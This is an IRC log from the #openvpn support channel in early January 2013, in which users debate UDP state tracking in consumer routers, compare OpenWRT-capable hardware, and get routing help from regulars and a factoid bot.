01:30 <@krzee> and openvpn has never been known to trigger any neat nukes in routers, although ild consider that awesome
01:30  * krzee ddos'es you with openvpn clients!
01:30 < soulcito> well it recognize it as a lot of connections, the table could go full and run of memory and die
01:30 <@krzee> nope
01:30 <+pekster> No, see, OpenVPN operates over a SINGLE port
01:30 <+pekster> Just one. Ever.
01:31 < soulcito> it could be the same port but different connections
01:31 <@krzee> negative ghostrider
01:31 <@krzee> unless your stuff reeeeeeeeeally sucks in special ways
01:32 -!- brute11k [~brute11k@89.249.235.187] has joined #openvpn
01:32 <@krzee> in which case, see the above suggestion about spending $30 and doing it like a network engineer
01:32 < soulcito> oh come on
01:32 <@krzee> btw, openwrt would be able to handle the vpn stuff too
01:32 < soulcito> you could have a lot of users connection to same web port
01:32 < soulcito> and they are different connections
01:32 <@krzee> so you wouldnt even need it on the lan machine(s)
01:32 < soulcito> even its a single user
01:32 <+pekster> But you are a CLIENT, not the SERVER
01:32 < soulcito> i know
01:33 < soulcito> but the router need to identify connections and save them
01:33 < soulcito> for the return
01:33 <@krzee> the server may have different connections, 1 per client
01:33 < soulcito> in udp is harder
01:33 <@krzee> but the client will only ever have a single connection, period
01:33 <+pekster> No, it's easier because it's a stream connection, not a stateful based connection
01:33 <+pekster> UDP is a "simplier" protocol. Which you should know as a "network engineer"
01:33 <@krzee> right, and i suggest not attempting to keepstate on udp if that is an option
01:34 <+pekster> UDP is stateless. Modern routers track the "state" of it as a stream based on a time limit, commonly 2-3 minutes for an established stream
01:34 <@krzee> although it can be done, its a hack and ugly as hell often times
01:34 <+pekster> So, your router is using around 100 bytes or so to track the connection, and a negligable amount of CPU traffic to handle the NAT. If that "breaks" it, buy a non-shitty piece of equipment. That's not an OpenVPN problem
01:34 < soulcito> pekster: dont need to be a troll
01:34 <@krzee> ehh?
01:34 <@krzee> pekster is helping you
01:35 <+pekster> I'm providing all sorts of useful information if you'd like to read what I have to say
01:35 < soulcito> "Which you should know as a "network engineer""
01:35 < soulcito> that was offensive
01:35 <@krzee> you should!
01:36 < soulcito> what?
01:36 <+pekster> If that was offensive that wasn't the intent. I'm refuting your claim that UDP is more taxing on modern stateful NAT firewalls in embedded routers, which is completely false. Take away from that what you want.
01:36 < soulcito> udp is simpler?
01:36 <@krzee> you're the one who declared your network engineer status
01:36 < soulcito> come on, for a router could be headache
01:36 <@krzee> we're attempting to teach you stuff that we feel you should already know based on that declaration
01:36 <@krzee> which is fine, but you're fighting accepting the information
01:36 <+pekster> Yes. UDP is MUCH easier to track since you don't need to worry about tracking syn-received, ack-sent, estblished tcp, fin, fin-wait, and fin-ack states
01:37 <+pekster> TCP is stateful, which means you not only need to track the connection state (in stateful firewalls,) but you ALSO need to track what condition the tracked connection is in. UDP is just a raw stream of data with no "start" or "end", and thus no wowrry about what condition the stream is in
01:37 <+pekster> !tcpip
01:37 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
01:37 <@krzee> soulcito, what you said is only if its attempting to do udp state tracking, which it should NOT be doing and you should disable if you somehow did enable it.
01:38 < soulcito> one example, dont you think it could be difficult for a router to identify if its just a unidirectional udp?...
01:38 <@krzee> no
01:38 <@krzee> its not
01:38 <@krzee> its a 2 way stream
01:38 <@krzee> and even if it were not, no
01:38 < soulcito> but it needs to wait for the return, time in save the connection in the memory
01:38 <+pekster> Well, DHT is sometimes "unidirectional" in which case the entry is dropped from a statefull firewall system within about 30-60 seconds
01:38 <@krzee> exactly what do you think its trying to identify dude?
01:39 <@krzee> the encryption is all payload, why would your layer4 device be worrying about the layer7 data?
01:39 < soulcito> it could have other checks to confirm but dont know if a udp is unidirectional without waiting for the return
01:39 <+pekster> statefull tracking isn't on a per-packet basis; it's on a per-connection basis, of which OpenVPN uses one.
01:40 < soulcito> pekster: ok 30-60 seconds its a LOT, multiple for every udp stream could be generated
01:40 <@krzee> what router are you using anyways?
01:40 < soulcito> krzee: dunno, im just trying to discard, if it is not related to the encryption
01:40 < soulcito> its a cisco cablemodem
01:40 <+pekster> soulcito: I run bittorrent through a router with 16M of RAM. My statefull firewall maintains around 1500 to 2000 known states at any given point in time, and this is a fiarly cheap, low-end router by todays standards
01:41 <@krzee> your cisco cablemodem doesnt do any dpi, therefor i just ruled it out for you
01:41 <@krzee> but go ahead and test all ya like ;]
01:42 <@krzee> if you dont learn by listening, maybe experience will help
01:42 < soulcito> -_-
01:42 <@krzee> in case the answer was lost under all the talk:
01:42 <@krzee> !noenc
01:42 <@vpnHelper> "noenc" is (#1) if you're going to disable encryption, you might as well build a GRE tunnel or (#2) but you would use cipher none
01:43 <@krzee> #2
01:43 < soulcito> yeah i know
01:43 < soulcito> then the network manager problem appeared
01:43 < soulcito> :)
01:43 <@krzee> !netman
01:43 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
01:43 <@krzee> !ubuntu
01:43 <@vpnHelper> "ubuntu" is dont use network manager!
01:43 <@krzee> netman *is* a problem :-p
01:44 <@krzee> drop your config in /etc/openvpn named .conf
01:44 < chrisb> it has been years since i've owned a non-consumer router(cisco)...what's a good one?
01:45 <@krzee> i expect you wont guess your config right, but i wont be able to help with that since you dont run your server
01:45 < soulcito> pekster: most of the "fairly cheap" routers dies after 3-4 days of doing 4-5 concurrents torrents
01:45 < soulcito> pekster: memory gets full of garbage
01:45 <+pekster> "memory gets full of garbage" ??
01:46 <@krzee> wow, what complete crap
01:46 <@krzee> spend the $30 for an openwrt able router
01:46 <@krzee> lol
01:47 <+pekster> I'm running an Asus WL-520gu router, a fairly generic OpenWRT-supported system with 4M flash, 16M RAM, 5 100 Base-T ports, and I support about 2 dozen FOSS torrents and around 2k connections overnight during my higher upload seeding time
01:47 <+pekster> I think it cost me about $30 after rebate, and that was 2+ years ago
01:47 <@krzee> when did it last reboot pekster
01:47 <@krzee> :D
01:48 <+pekster> About a month ago, and that was because I made a mistake and locked myself out with a "quick" rulechange that had a typo in my fw rules :P
01:48 < soulcito> just lost a linksys trying to conver to dd-wrt :-)
01:48 <+pekster> I used a similar product at my last job (Asus WL-500gPv2) and saw them stay running for months. I think the longest uptime was 200+ days before that person was fired
01:48 <@krzee> bricking routers doesnt sound very network-engineerish, did you develop the rom in question or something?  :D
01:49 <+pekster> OpenWRT is more friendly to those looking to tinker with the networking, IMO, especially if you don't care about the WebUI frontend
01:49 <+pekster> Plus their build system is better ;)
01:49 <@krzee> my ddwrt doesnt even have a web frontend
01:50 <@krzee> and their buildsystem is lazy too once you write shell script wrappers! :D
01:50 < soulcito> krzee: it was just a PoC :)
01:50 <+pekster> 4M of flash on my home router, I don't have *room* for LuCI :D
01:50 < Wintereise> I have a rtn16
01:50 <@krzee> pekster, exactly!
01:50  * Wintereise waits to be bashed
01:50 <@krzee> bashed?
01:50 <@krzee> a quick google reveals it looks nice
01:51 <@krzee> holey shittons of ram
01:51 <@krzee> and flash too
01:51 < Wintereise> It's great, yeah
01:51  * krzee steals Wintereise's router
01:51 < Wintereise> nou :<
01:52  * soulcito has a CRS-3/16 :P
01:52 < soulcito> lol
01:52 <@krzee> my fav router is my freebsd server tho
01:52 <@krzee> with 3 nics and 4 tunnel devices
01:52 <@krzee> pf to keep the packets going where they should ;]
01:52 < Wintereise> http://www.asus.com/websites/global/products/WAa6AQFncrceRBEo/super_speed.jpg
01:52 < Wintereise> That is what tempted me
01:53 <@krzee> and multiple FIBS for the multiple uplink routing
01:53 <+pekster> I'll spend more than $30 on a router when ISPs offer real connection speeds like fiber to the door
01:53 <@krzee> mmmm fiber
01:53 <+pekster> US has 2nd world Internet connectivity :(
01:53 <@krzee> im in 3rd world
01:53 <@krzee> ild kill for some 2nd world
01:54 < soulcito> where are you from?
01:54 <@krzee> que vivo en el caribe
01:54 < soulcito> donde
01:54 <@krzee> vi que tu hablas espanol tambien
01:54 < soulcito> si
01:54 < soulcito> (-:
01:55 <@krzee> visitaba lima, es hermosa
01:56 < soulcito> lo mejor es su comida
01:56 < soulcito> eres de dominicana, pr?
01:56 <@krzee> im from california
01:56 < soulcito> lol
01:56 <@krzee> headed back soon for a visit
01:57 < Wintereise> I want a rtn66u or something
01:57 < Wintereise> It looks so amazing
01:57 <@krzee> !krzee
01:57 <@vpnHelper> "krzee" is (#1) krzee says happy 4/20 or (#2) http://www.ircpimps.org/pics/krzee/blunt.jpg
01:57 <@krzee> ^ me
01:58 < soulcito> what is that ? O_o
01:58 <@krzee> a blunt
01:59 <+pekster> RT-N66U has really ugly binary driver blobs
02:00 < Wintereise> It can't run openwrt yet?
02:00 < Wintereise> lame
02:00 <+pekster> https://forum.openwrt.org/viewtopic.php?id=33812
02:00 <@vpnHelper> Title: OpenWRT support for the ASUS RT-N66U (Page 1) — General Discussion — OpenWrt (at forum.openwrt.org)
02:01 <@krzee> supported by tomatousb and dd-wrt but not openwrt
02:01 < Wintereise> talk about sad
02:01 <@krzee> meh same shit, i dont touch the web gui anyways
02:01 <+pekster> My Asus unit only supports wifi with a 2.4 kernel ;) (thankfully I didn't buy it for wifi, and I'm running a new-ish 2.6 kernel without wifi, becuase Broadcom sucks)
02:01 <@krzee> broadcrap
02:01 <@krzee> i feel the same way about realtek (realcrap)
02:02 <@krzee> for their ethernet cards tho, their wiki is fine
02:02 < Wintereise> Both are equally shit
02:02 <+pekster> Depends on the chipset; there are a small handful of RTL chipsets that are open-enough to remain supported for pretty much any kernel >=2.2
02:03 <+pekster> No clue why open hardware isn't more in-demand :(
02:03 < Wintereise> Linux RT-N66U 2.6.22.19 #1 Tue Nov 22 10:29:48 CST 2011 mips GNU/Linux
02:03 < Wintereise> yay for ancient
02:04 <+pekster> And that, is why I demand devices that don't require binary blobs to run :(
02:04 < Wintereise> system type : Broadcom BCM5300 chip rev 1 pkg 0
02:04 < Wintereise> not bad
02:04 <+pekster> "But, but the label said OpenSource and dd-WRT supported"
02:04 <+pekster> Right
02:05 <+pekster> Read: we created a build using some arbitrary dd-wrt version and build the vendor's propritary binary network blob for that kernel version specifically
02:05 <@krzee> haha
02:05 <+pekster> I'm not ripping on dd-wrt (even though I like OpenWRT more,) but the mfgr's choice to not really "support" the product they built
02:06 < Wintereise> ASUS Support has since 10 days not answered on my Bugreport I sent in via vip.asus.com
02:06 < Wintereise> lol
02:06 < Wintereise> VIP VIP VIPPAY
02:06 < Wintereise> I have a z77 board that classifies me as 'vip' too
02:07 < Wintereise> And same case there
02:07 < Wintereise> Ultra slow support
02:07 < Wintereise> They eventually do reply
02:09 < soulcito> oh i found the damn profiles :-)
02:10 < soulcito>  /etc/NetworkManager/system-connections/
02:20 < soulcito> silence~~
02:22 -!- kyrix_ [~ashley@71-212-67-12.tukw.qwest.net] has quit [Quit: Ex-Chat]
02:22 -!- kyrix [~ashley@71-212-67-12.tukw.qwest.net] has joined #openvpn
02:43 -!- brute11k [~brute11k@89.249.235.187] has quit [Ping timeout: 255 seconds]
03:20 -!- brute11k [~brute11k@89.249.230.5] has joined #openvpn
03:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
03:48 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 248 seconds]
03:54 -!- Porkepix [~Porkepix@lns-bzn-23-82-248-114-106.adsl.proxad.net] has quit [Ping timeout: 272 seconds]
03:56 -!- Porkepix [~Porkepix@lns-bzn-23-82-248-114-106.adsl.proxad.net] has joined #openvpn
04:17 -!- catsup [~d@64.111.123.163] has quit [Remote host closed the connection]
04:17 -!- catsup [~d@64.111.123.163] has joined #openvpn
04:18 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has quit []
04:39 -!- soulcito [~soulse@190.222.252.9] has quit [Remote host closed the connection]
04:39 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:00 -!- ade_ [~Ade@koln-5d816bdb.pool.mediaways.net] has joined #openvpn
05:01 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
05:17 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Quit: Ex-Chat]
05:48 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
06:12 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:34 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
07:40 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:47 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
08:05 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 248 seconds]
08:06 -!- Porkepix [~Porkepix@lns-bzn-23-82-248-114-106.adsl.proxad.net] has quit [Quit: Computer has gone to sleep.]
08:17 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
08:17 -!- mode/#openvpn [+v s7r] by ChanServ
08:21 -!- Porkepix [~Porkepix@lns-bzn-23-82-248-114-106.adsl.proxad.net] has joined #openvpn
08:46 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
08:46 -!- ade_ [~Ade@koln-5d816bdb.pool.mediaways.net] has quit [Quit: Too sexy for his shirt]
08:48 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Remote host closed the connection]
08:50 -!- Porkepix [~Porkepix@lns-bzn-23-82-248-114-106.adsl.proxad.net] has quit [Ping timeout: 276 seconds]
08:50 -!- Porkepix [~Porkepix@lns-bzn-54-82-251-84-104.adsl.proxad.net] has joined #openvpn
08:51 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 248 seconds]
09:01 <+s7r> what kind of certs does openvpn use? X509 ?
09:04 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:10 -!- PhotoJim [~Jim@devonport.ip4.photojim.ca] has quit [Ping timeout: 255 seconds]
09:17 <+dvl> s7r:  I think so.  I can point here, I just wrote this.   Does that help?  http://dan.langille.org/2013/01/03/ssl-admin/
09:17 -!- PhotoJim [~Jim@devonport.ip4.photojim.ca] has joined #openvpn
09:17 <+dvl> $ openssl x509 -text -in active/ca.crt
09:17 <+dvl> etc?  so yeah, I think so.
09:21 <+s7r> yup
09:21 <+s7r> that is correct dvl
09:21 <+s7r> nice documentation you have written here
09:21 <+s7r> you use freebsd ?
09:21 <+dvl> Thank you.  Yes.
09:22 <+dvl> I usually write at http://www.freebsddiary.org/ but have taken to WordPress.  I'm converting the Diary over.
09:22 <@vpnHelper> Title: The FreeBSD Diary (at www.freebsddiary.org)
09:32 <+s7r> nice
09:32 <+s7r> to have u here
09:35 <+dvl> thanks
09:36 -!- fluter [~fluter@fedora/fluter] has quit [Read error: Operation timed out]
09:53 -!- m0sphere` [m0sphere@S01060018e78c9cff.cg.shawcable.net] has joined #openvpn
09:54 <+s7r> l
09:56 -!- m0sphere [m0sphere@S01060018e78c9cff.cg.shawcable.net] has quit [Ping timeout: 265 seconds]
10:21 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
10:21 -!- master_of_master [~master_of@p57B55186.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
10:23 -!- master_of_master [~master_of@p57B536BC.dip.t-dialin.net] has joined #openvpn
10:25 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
10:53 -!- Porkepix [~Porkepix@lns-bzn-54-82-251-84-104.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
10:55 -!- Porkepix [~Porkepix@lns-bzn-54-82-251-84-104.adsl.proxad.net] has joined #openvpn
11:03 -!- gallatin [~gallatin@dslb-188-109-167-165.pools.arcor-ip.net] has joined #openvpn
11:15 -!- kyrix [~ashley@71-212-67-12.tukw.qwest.net] has quit [Ping timeout: 252 seconds]
11:17 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
11:19 -!- kyrix [~ashley@71-212-76-89.tukw.qwest.net] has joined #openvpn
11:45 -!- ade_b [~Ade@ip-109-41-93-148.web.vodafone.de] has joined #openvpn
11:45 -!- ade_b [~Ade@ip-109-41-93-148.web.vodafone.de] has quit [Changing host]
11:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:46 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:51 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
12:07 <+s7r> dvl: u there?
12:08 -!- valparaiso [~valparais@ARennes-257-1-67-126.w81-53.abo.wanadoo.fr] has left #openvpn []
12:26 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
12:26 < DBordello> !goal
12:26 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
12:37 < soulse> !sex
12:37 < soulse> lol
12:54 -!- gallatin [~gallatin@dslb-188-109-167-165.pools.arcor-ip.net] has quit [Quit: Client exiting]
13:00 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
13:01 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
13:02 -!- pie___ [~pie_@unaffiliated/pie-/x-0787662] has quit [Read error: Connection reset by peer]
13:02 -!- pie___ [~pie_@84-236-109-204.pool.digikabel.hu] has joined #openvpn
13:02 -!- pie___ [~pie_@84-236-109-204.pool.digikabel.hu] has quit [Changing host]
13:02 -!- pie___ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
13:06 -!- cmelbye [~charlie@yourwiki/staff/charlie] has quit [Ping timeout: 276 seconds]
13:06 -!- cmelbye [~charlie@yourwiki/staff/charlie] has joined #openvpn
13:12 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
13:19 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
13:44 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
13:45 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
13:46 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
13:47 -!- brute11k [~brute11k@89.249.230.5] has quit [Quit: Leaving.]
13:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:54 -!- Nanuq [~nanuq@tlalocan.teotlalli.ecks.ca] has quit [Read error: Operation timed out]
13:54 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
13:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Operation timed out]
13:57 -!- Nanuq [~nanuq@tlalocan.teotlalli.ecks.ca] has joined #openvpn
13:57 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
13:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
13:58 -!- mode/#openvpn [+o plaisthos] by ChanServ
13:59 -!- kyrix [~ashley@71-212-76-89.tukw.qwest.net] has quit [Ping timeout: 252 seconds]
14:05 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
14:06 -!- Nanuq [~nanuq@tlalocan.teotlalli.ecks.ca] has quit [Read error: Operation timed out]
14:09 -!- Nanuq [~nanuq@tlalocan.teotlalli.ecks.ca] has joined #openvpn
14:17 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
14:23 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
14:31 -!- emmanuel__ [~emmanuelu@178.33.182.87] has joined #openvpn
14:32 -!- emmanuel__ [~emmanuelu@178.33.182.87] has quit [Read error: Connection reset by peer]
14:33 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 255 seconds]
14:45 -!- Porkepix [~Porkepix@lns-bzn-54-82-251-84-104.adsl.proxad.net] has quit [Quit: Computer has gone to sleep.]
15:03 -!- kyrix [~ashley@71-212-76-89.tukw.qwest.net] has joined #openvpn
15:48 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:48 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
16:12 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-137.28.wb.wifirst.net] has joined #openvpn
16:35 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
17:04 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 272 seconds]
17:06 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
17:13 -!- m0sphere` [m0sphere@S01060018e78c9cff.cg.shawcable.net] has quit [Ping timeout: 246 seconds]
17:18 -!- m0sphere [m0sphere@S01060018e78c9cff.cg.shawcable.net] has joined #openvpn
17:24 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:09 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-137.28.wb.wifirst.net] has quit [Ping timeout: 272 seconds]
18:55 -!- PhotoJim [~Jim@devonport.ip4.photojim.ca] has left #openvpn []
19:18 -!- Devastator- [~devas@177.18.197.24] has joined #openvpn
19:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
19:30 -!- Nanuq [~nanuq@tlalocan.teotlalli.ecks.ca] has left #openvpn []
19:39 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:57 -!- Devastator- [~devas@177.18.197.24] has quit [Changing host]
19:57 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
19:57 -!- Devastator- is now known as Devastator
20:21 -!- valparaiso_ [~valparais@ARennes-257-1-162-104.w2-10.abo.wanadoo.fr] has joined #openvpn
20:23 -!- valparaiso_ is now known as valparaiso
20:28 -!- valparaiso_ [~valparais@ARennes-257-1-162-104.w2-10.abo.wanadoo.fr] has joined #openvpn
20:29 -!- valparaiso [~valparais@ARennes-257-1-162-104.w2-10.abo.wanadoo.fr] has quit [Ping timeout: 240 seconds]
20:30 -!- valparaiso [~valparais@ARennes-257-1-179-35.w2-13.abo.wanadoo.fr] has joined #openvpn
20:33 -!- valparaiso_ [~valparais@ARennes-257-1-162-104.w2-10.abo.wanadoo.fr] has quit [Ping timeout: 264 seconds]
22:03 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
22:31 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
23:05 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
23:52 -!- [1]JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
23:53 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
23:54 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Ping timeout: 260 seconds]
--- Day changed Mon Jan 07 2013
00:38 -!- soulse [~soulse@190.222.252.9] has quit [Remote host closed the connection]
00:49 -!- brute11k [~brute11k@89.249.235.75] has joined #openvpn
00:59 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
01:12 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
01:39 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
01:39 -!- kyrix [~ashley@71-212-76-89.tukw.qwest.net] has quit [Quit: Ex-Chat]
01:40 -!- kyrix [~ashley@71-212-76-89.tukw.qwest.net] has joined #openvpn
01:47 -!- soulse [~soulse@190.222.252.9] has quit [Ping timeout: 260 seconds]
01:58 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
02:00 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
02:02 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
02:07 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
02:07 -!- Azrael808 [~peter@212.161.9.162] has quit [Quit: Ex-Chat]
02:09 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Client Quit]
02:13 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
02:20 -!- soulse [~soulse@190.222.252.9] has quit [Ping timeout: 265 seconds]
02:25 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
02:25 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Read error: Connection reset by peer]
02:32 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has joined #openvpn
02:33 -!- ade_b [~Ade@109.58.116.227.bredband.tre.se] has joined #openvpn
02:33 -!- ade_b [~Ade@109.58.116.227.bredband.tre.se] has quit [Changing host]
02:33 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:47 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
02:54 -!- soulse [~soulse@190.222.252.9] has quit [Ping timeout: 252 seconds]
02:55 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
02:56 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
03:01 -!- IT [~userit@86.120.191.55] has joined #openvpn
03:03 < IT> hey guys
03:04 < IT> what do i need to change so i can use samba over two routed offices, in the current config? http://pastebin.com/TPHCCUdn
03:08 <+pekster> You are pushing the wrong subnet to the client, and you don't have a ccd directory with an iroute for the client's network
03:08 <+pekster> !serverlan
03:08 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
03:08 <+pekster> !clientlan
03:08 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
03:08 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
03:08 <+pekster> Pick one of those to work on at a time and follow the instructions
03:08 < IT> ty
03:09 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:10 < IT> !iroute
03:10 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
03:21 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
03:29 -!- soulse [~soulse@190.222.252.9] has quit [Ping timeout: 272 seconds]
03:44 -!- kyrix [~ashley@71-212-76-89.tukw.qwest.net] has quit [Quit: Ex-Chat]
03:55 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
04:02 -!- soulse [~soulse@190.222.252.9] has quit [Ping timeout: 256 seconds]
04:07 < IT> i changed the config http://pastebin.com/NimZCLEC but i can't access the other subnet http://pastebin.com/NimZCLEC what did i missed?
04:16 -!- yeshello1here [~hi@80.168.239.88] has joined #openvpn
04:16 < yeshello1here> i have a weird issue, i've got a bridged server and a number of clients attached, when trying to communicate client to client i see arps hitting the bridge on the server, but they never appear to go back out of the tap device
04:16 < yeshello1here> i know i could enable client-to-client, but i wish to firewall these clients from each other to some extent
04:17 < yeshello1here> is this a limitation i'm unaware of or have i screwed something up? i can pastebin the configs if needed but they're little more than howto examples
04:20 < yeshello1here> for extra reference, the server can happily ping and get arp replies from all clients without issue, it's just client to client that seems to be broken and i can't easily see why
04:25 -!- ronsel [~ronsel@dslb-088-074-167-187.pools.arcor-ip.net] has joined #openvpn
04:29 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
04:37 -!- soulse [~soulse@190.222.252.9] has quit [Ping timeout: 255 seconds]
04:52 -!- dazo_afk is now known as dazo
04:54 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
05:03 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
05:08 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:10 -!- soulse [~soulse@190.222.252.9] has quit [Ping timeout: 240 seconds]
05:20 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
05:38 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
05:45 -!- soulse [~soulse@190.222.252.9] has quit [Ping timeout: 252 seconds]
05:50 -!- ade_b [~Ade@109.58.116.227.bredband.tre.se] has joined #openvpn
05:50 -!- ade_b [~Ade@109.58.116.227.bredband.tre.se] has quit [Changing host]
05:50 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:58 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
06:03 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
06:11 -!- ex0a [~high@unaffiliated/ex0a] has left #openvpn ["Leaving"]
06:12 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
06:14 < IT> is anybody here willing to help me setup a office-2-office connection for a moderate fee?
06:20 -!- soulse [~soulse@190.222.252.9] has quit [Ping timeout: 276 seconds]
